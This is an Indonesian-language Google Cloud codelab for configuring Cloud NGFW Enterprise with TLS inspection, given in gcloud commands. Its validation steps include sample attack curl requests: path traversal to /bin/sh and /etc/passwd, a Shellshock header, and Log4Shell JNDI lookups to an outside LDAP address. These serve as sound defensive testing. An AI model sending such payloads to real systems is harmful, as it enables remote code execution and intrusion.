1. Pengantar
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall adalah layanan firewall yang terdistribusi sepenuhnya dengan kemampuan perlindungan tingkat lanjut, mikro-segmentasi, dan cakupan luas untuk melindungi workload Google Cloud Anda dari serangan internal dan eksternal.
Cloud NGFW memiliki manfaat berikut:
- Layanan firewall terdistribusi: Cloud NGFW menyediakan penegakan berbasis host yang stateful dan terdistribusi sepenuhnya pada setiap workload untuk mengaktifkan arsitektur keamanan zero-trust.
- Konfigurasi dan deployment yang disederhanakan: Cloud NGFW menerapkan kebijakan firewall jaringan dan hierarkis yang dapat dilampirkan ke node hierarki resource. Kebijakan ini memberikan pengalaman firewall yang konsisten di seluruh hierarki resource Google Cloud.
- Kontrol terperinci dan segmentasi mikro: Kombinasi kebijakan firewall dan Tag yang diatur Identity and Access Management (IAM) memberikan kontrol yang baik untuk traffic utara-selatan dan timur-barat, hingga ke satu VM, di seluruh jaringan dan organisasi Virtual Private Cloud (VPC).
Cloud NGFW tersedia dalam paket berikut:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise menambahkan Intrusion Prevention Service (IPS) dan kemampuan Sandbox malware lanjutan (WildFire) opsional, yang merupakan layanan pemeriksaan Lapisan 7, ke fabric Google Cloud Firewall terdistribusi. Pemeriksaan TLS didukung untuk memungkinkan pemeriksaan mendalam dan analisis file untuk traffic terenkripsi TLS.
Anda kini dapat men-deploy pemeriksaan Next Generation Firewall (NGFW) Lapisan 7 yang andal dengan kontrol terperinci, tanpa melakukan perubahan apa pun pada arsitektur jaringan atau konfigurasi perutean Anda.
Untuk mengaktifkan dan men-deploy kontrol firewall Lapisan 7 dengan IPS dan Sandbox malware lanjutan opsional, Anda harus melakukan tugas-tugas berikut:
- Membuat serangkaian endpoint firewall zona yang dikelola Google Cloud (opsional mengaktifkan Sandbox malware lanjutan).
- Jika perlu, buat Kebijakan Pemeriksaan TLS.
- Anda juga dapat membuat Trust Config.
- Kaitkan endpoint ini dengan jaringan Virtual Private Cloud (VPC) tempat Anda memerlukan layanan Cloud NGFW Enterprise.
- Lakukan perubahan sederhana pada kebijakan firewall dan aturan firewall yang ada untuk menentukan pencegahan ancaman dan profil keamanan Sandbox malware lanjutan opsional untuk berbagai jalur traffic.
Kebijakan firewall jaringan
Kebijakan firewall jaringan bertindak sebagai container untuk aturan firewall. Aturan yang ditentukan dalam kebijakan firewall jaringan tidak akan diberlakukan di mana pun hingga kebijakan tersebut dikaitkan dengan jaringan VPC. Setiap jaringan VPC dapat memiliki satu kebijakan firewall jaringan yang terkait dengannya. Kebijakan firewall jaringan mendukung Tag yang diatur IAM (atau hanya Tag) dalam aturan firewall, yang menggantikan tag jaringan saat ini dan dapat digunakan untuk memberikan identitas ke workload.
Berbagi kebijakan firewall jaringan di seluruh jaringan dan integrasi dengan Tag yang diatur IAM sangat mempermudah konfigurasi dan pengelolaan firewall.
Dengan diperkenalkannya kebijakan firewall jaringan, kebijakan firewall Google Cloud kini terdiri dari komponen berikut:
- Kebijakan Firewall Hierarkis
- Aturan Firewall VPC
- Kebijakan Firewall Jaringan ( Global dan Regional)
Kebijakan firewall hierarkis didukung di node organisasi dan folder dalam hierarki resource, sedangkan aturan firewall VPC dan kebijakan firewall jaringan diterapkan di level VPC. Perbedaan besar antara aturan firewall VPC dan kebijakan firewall jaringan adalah aturan firewall VPC hanya dapat diterapkan ke satu jaringan VPC, sedangkan kebijakan firewall jaringan dapat dihubungkan ke satu VPC atau grup VPC, di antara berbagai manfaat lainnya seperti kumpulan update.
Terakhir, kami juga memiliki aturan firewall tersirat yang disertakan dengan setiap jaringan VPC:
- Aturan egress yang tindakannya adalah allow, tujuannya adalah 0.0.0.0/0
- Aturan masuk yang tindakannya adalah tolak, sumbernya adalah 0.0.0.0/0
Secara default, urutan penerapan ditampilkan dalam diagram berikut:

Perhatikan bahwa urutan penerapan antara aturan firewall VPC dan kebijakan firewall jaringan global dapat ditukar. Pelanggan dapat menentukan urutan penerapan kapan saja dengan perintah gcloud.
Tag
Tag baru yang terintegrasi dalam aturan kebijakan firewall jaringan adalah resource key-value pair yang ditentukan di tingkat organisasi atau project dalam hierarki resource Google Cloud. Tag tersebut berisi kontrol akses IAM yang menentukan siapa yang dapat melakukan apa pada tag. Misalnya, izin Identity and Access Management (IAM) memungkinkan seseorang menentukan akun utama mana yang dapat menetapkan nilai ke tag dan akun utama mana yang dapat melampirkan tag ke resource. Jika aturan firewall jaringan merujuk ke Tag, aturan tersebut harus diterapkan ke resource, untuk penegakan.
Tag mematuhi model resource pewarisan Google Cloud, yang berarti tag dan nilainya diturunkan melalui hierarki dari induknya. Akibatnya, tag dapat dibuat di satu tempat, lalu digunakan oleh folder dan project lain di seluruh hierarki resource. Kunjungi halaman ini untuk mengetahui detail tentang tag dan pembatasan akses.
Tag tidak boleh sama dengan tag jaringan. Tag jaringan adalah string yang dapat ditambahkan ke instance Compute Engine; tag ini dikaitkan dengan instance dan akan hilang saat instance dinonaktifkan. Aturan firewall VPC dapat mencakup tag jaringan, tetapi karena tidak dianggap sebagai resource cloud, aturan tersebut tidak tunduk pada kontrol akses IAM.
Perhatikan bahwa Tag dan Tag yang diatur IAM digunakan secara bergantian dalam dokumen ini.
Yang akan Anda build
Codelab ini memerlukan satu project dan kemampuan untuk membuat jaringan VPC serta mengelola sejumlah resource jaringan dan keamanan. Lab ini akan menunjukkan cara Cloud NGFW Enterprise dapat menyediakan fungsi IPS dan Sandbox malware lanjutan (WildFire) dengan:
- Memeriksa alur internet northbound dengan pemeriksaan TLS
- Memeriksa alur intra-VPC [Timur-Barat] dengan pemeriksaan TLS
- [Opsional] Mengonfigurasi dan memvalidasi pengiriman file dan forensik Sandbox malware lanjutan untuk ancaman berbasis file yang tidak diketahui melalui traffic yang diperiksa TLS
Aliran yang akan diperiksa akan dipilih menggunakan parameter pencocokan Cloud Firewall, termasuk 5-tuple (IP sumber, IP tujuan, protokol, port sumber, port tujuan) dan Tag.

Status akhir basis aturan kebijakan firewall jaringan akan mirip dengan tabel di bawah:
Prioritas | Arah | Target | Sumber | Tujuan | Tindakan | Jenis |
100 | Masuk | Server_Tag | Health-Checks | Semua | Izinkan | Essentials |
200 | Masuk | Client_Tag, Server_Tag | IAP | Semua | Izinkan | Essentials |
800 | Masuk | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Pemeriksaan L7 | Enterprise |
850 | Keluar | Client_Tag | Semua | 10.0.0.0/24 | Izinkan | Essentials |
900 | Keluar | Client_Tag | Semua | Semua | Pemeriksaan L7 | Enterprise |
Yang akan Anda pelajari
- Cara membuat kebijakan firewall jaringan.
- Cara membuat dan menggunakan Tag dengan kebijakan firewall jaringan.
- Cara mengonfigurasi dan menggunakan Cloud NGFW Enterprise dengan pemeriksaan TLS.
- [Opsional] Cara mengonfigurasi dan memvalidasi Sandbox malware lanjutan (WildFire) untuk ancaman berbasis file yang tidak diketahui.
Yang Anda butuhkan
- Project Google Cloud.
- Pengetahuan tentang cara men-deploy instance dan mengonfigurasi komponen jaringan.
- Pengetahuan tentang konfigurasi firewall VPC.
2. Sebelum memulai
Membuat/memperbarui variabel
Codelab ini menggunakan $variables untuk membantu implementasi konfigurasi gcloud di Cloud Shell.
Di Cloud Shell, jalankan perintah di bawah dengan mengganti informasi dalam tanda kurung sesuai kebutuhan:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Mengaktifkan API
Aktifkan API jika Anda belum melakukannya:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Pembuatan Endpoint Cloud NGFW Enterprise
Karena pembuatan Endpoint Cloud NGFW Enterprise memerlukan waktu sekitar 20 menit, endpoint ini akan dibuat terlebih dahulu dan penyiapan dasar dapat dilakukan secara paralel saat endpoint sedang dibuat.
Buat Profil Keamanan dan Grup Profil Keamanan:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Output yang diharapkan:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Pastikan resource berhasil dibuat:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Buat endpoint Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Jalankan perintah di bawah untuk mengonfirmasi bahwa endpoint sedang dibuat (CREATING), atau ACTIVE jika Anda menggunakan --no-async.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Proses pembuatan memerlukan waktu sekitar 20 menit. Lanjutkan ke bagian Penyiapan Dasar untuk membuat resource yang diperlukan secara paralel.
5. Penyiapan Dasar
Jaringan VPC dan subnet
Jaringan VPC dan subnet
Buat jaringan VPC dan subnet:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Buat Cloud Router dan gateway Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instance
Buat instance klien dan server web:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
Tag Level Project
Tetapkan izin tagAdmin kepada pengguna jika diperlukan:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Buat kunci dan nilai Tag level project:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Ikat tag ke instance:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Kebijakan firewall jaringan global
Buat kebijakan firewall jaringan global:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Buat aturan Cloud Firewall Essentials yang diperlukan untuk mengizinkan traffic dari rentang health-check dan identity-aware proxy:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
Buat aturan Cloud Firewall yang diperlukan untuk mengizinkan traffic masuk timur-barat/intra-subnet dari rentang tertentu (aturan ini akan diperbarui untuk mengaktifkan Cloud NGFW Enterprise dengan pemeriksaan TLS):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Kaitkan kebijakan firewall cloud ke jaringan VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Pengaitan Endpoint Cloud Firewall
Tentukan variabel lingkungan jika Anda belum melakukannya dan/atau lebih memilih pendekatan skrip.
Pastikan pembuatan Endpoint Cloud Firewall berhasil diselesaikan. Lanjutkan hanya setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Output yang diharapkan (perhatikan bahwa format output dapat bervariasi sesuai dengan klien yang digunakan):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Kaitkan endpoint Cloud Firewall ke jaringan VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Proses pengaitan memerlukan waktu sekitar 10 menit. Lanjutkan ke bagian TLS hanya setelah status ditampilkan sebagai ACTIVE (selama pembuatan, status yang diharapkan adalah CREATING):
gcloud network-security firewall-endpoint-associations list
Output yang diharapkan setelah selesai:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Anda juga dapat menjalankan perintah di bawah untuk mendapatkan detail selengkapnya:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Output yang diharapkan:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Mengonfigurasi Resource TLS
Membuat kumpulan CA. Resource ini akan digunakan untuk menyimpan sertifikat Root CA yang kita buat untuk NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Membuat Root CA. Ini adalah sertifikat CA yang akan digunakan untuk menandatangani sertifikat tambahan untuk permintaan melalui NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Jika Anda diminta dengan pesan di bawah, jawab y:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Membuat akun layanan. Akun layanan ini akan digunakan untuk meminta sertifikat untuk NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Tetapkan izin IAM untuk akun layanan:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Buat file YAML Kebijakan TLS. File ini akan berisi informasi tentang resource tertentu:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Impor Kebijakan pemeriksaan TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Perbarui pengaitan endpoint untuk mengaktifkan TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Dapatkan sertifikat CA dan tambahkan ke penyimpanan CA klien:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transfer sertifikat CA ke klien:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Lakukan SSH ke VM, pindahkan sertifikat CA ke /usr/local/share/ca-certificates, dan update penyimpanan CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Keluar dan kembali ke Cloud Shell.
Proses Penandatanganan Sertifikat Server:
Di Cloud Shell, instal library kriptografi Pyca menggunakan perintah pip:
pip install --user "cryptography>=2.2.0"
Agar Google Cloud SDK dapat menggunakan library kriptografi Pyca, Anda harus mengaktifkan paket situs.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Membuat Sertifikat Server:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Tindakan ini akan menghasilkan file cert.pem dan key.pem di cloudshell. Selanjutnya, transfer sertifikat dan kunci ke server.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Lakukan SSH ke server untuk memperbarui detail sertifikat untuk Apache:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Pindahkan sertifikat dan kunci ke folder tertentu:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Perbarui konfigurasi ssl untuk menggunakan sertifikat yang ditandatangani:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Mulai ulang Apache:
sudo systemctl restart apache2
Verifikasi status Apache:
sudo systemctl status apache2
Statusnya harus aktif (berjalan).
Keluar dari VM dan lanjutkan di Cloud Shell.
8. Memvalidasi Konektivitas Northbound dan E/W
Jalankan perintah di bawah di Cloud Shell dan catat IP target yang akan digunakan:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Buka tab baru dan mulai koneksi SSH ke VM klien melalui IAP (Anda harus menentukan variabel di tab baru):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Jalankan perintah di bawah dan catat IP target yang akan digunakan. Buat variabel yang menggantikan nilai dalam tanda kurung dengan IP yang dicatat dari langkah sebelumnya dan pastikan IP tersebut dapat dijangkau:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Lakukan curl pada IP Pribadi dan pastikan IP tersebut dapat dijangkau:
curl https://$target_privateip --max-time 2
Hasil yang diharapkan untuk permintaan curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Kirim contoh serangan ke IP. Server web akan merespons semua permintaan, yang mengonfirmasi bahwa tidak ada pemeriksaan/pencegahan L7 yang diterapkan:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Contoh Hasil yang diharapkan (IP pribadi):
400 404 400 200 200
Demikian pula, kirim permintaan ke tujuan internet:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Contoh hasil yang diharapkan (tujuan internet):
400 404 400 403 403
Keluar dari terminal VM dan kembali ke Cloud Shell.
9. Membuat dan Memperbarui Aturan Firewall untuk Pemeriksaan TLS
Sebelumnya, kita telah mengonfigurasi aturan firewall untuk mengizinkan traffic masuk ke server kita dari subnet internal. Sekarang, kita akan memperbarui aturan ingress yang ada dan menetapkan tindakan ke apply_security_profile_group. Tindakan ini akan mengaktifkan pemeriksaan E/W L7 dengan TLS:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Buat aturan baru untuk memeriksa pemeriksaan L7 northbound dengan TLS.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Buat aturan baru untuk mengizinkan EGRESS untuk E/W guna mencegah pemeriksaan ganda.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Memvalidasi Pemeriksaan TLS Northbound
Beralih kembali ke tab VM klien atau hubungkan lagi:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Kirim contoh serangan ke tujuan internet:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa contoh serangan kini diblokir:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Tetapkan variabel ke IP server dari sebelumnya:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Kirim contoh permintaan TLS ke server:
curl https://$target_privateip --max-time 2
Output yang diharapkan:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Mengapa permintaan ini gagal? Hal ini karena Firewall menerima sertifikat dari server yang tidak dipercaya. Jika hal ini terjadi, sertifikat yang ditandatangani sendiri akan diteruskan kembali ke klien. Kita perlu menambahkan sertifikat CA sebagai bagian dari konfigurasi kepercayaan untuk mengaktifkan kepercayaan.
Kembali ke Cloud Shell.
11. Mengonfigurasi Trust Config
Dapatkan sertifikat Root CA dan tetapkan sebagai variabel dengan format yang tepat.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Konfigurasikan file YAML Konfigurasi Trust. File ini berisi detail kepercayaan seperti sertifikat CA:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
Perintah di atas menyertakan sertifikat Root CA Anda sebagai bagian dari trust store karena sertifikat server Anda ditandatangani menggunakan Root CA. Artinya, firewall akan memercayai sertifikat apa pun yang diterimanya yang telah ditandatangani oleh Root CA Anda - selain CA Publik jika kebijakan TLS Anda menetapkan excludePublicCaSet ke false.
Periksa konten konfigurasi kepercayaan.
cat trust_config.yaml
Contoh Output:
Perhatikan baik-baik perataan indentasi sertifikat. Formatnya harus sama persis dengan format ini.
name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
-----BEGIN CERTIFICATE-----
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
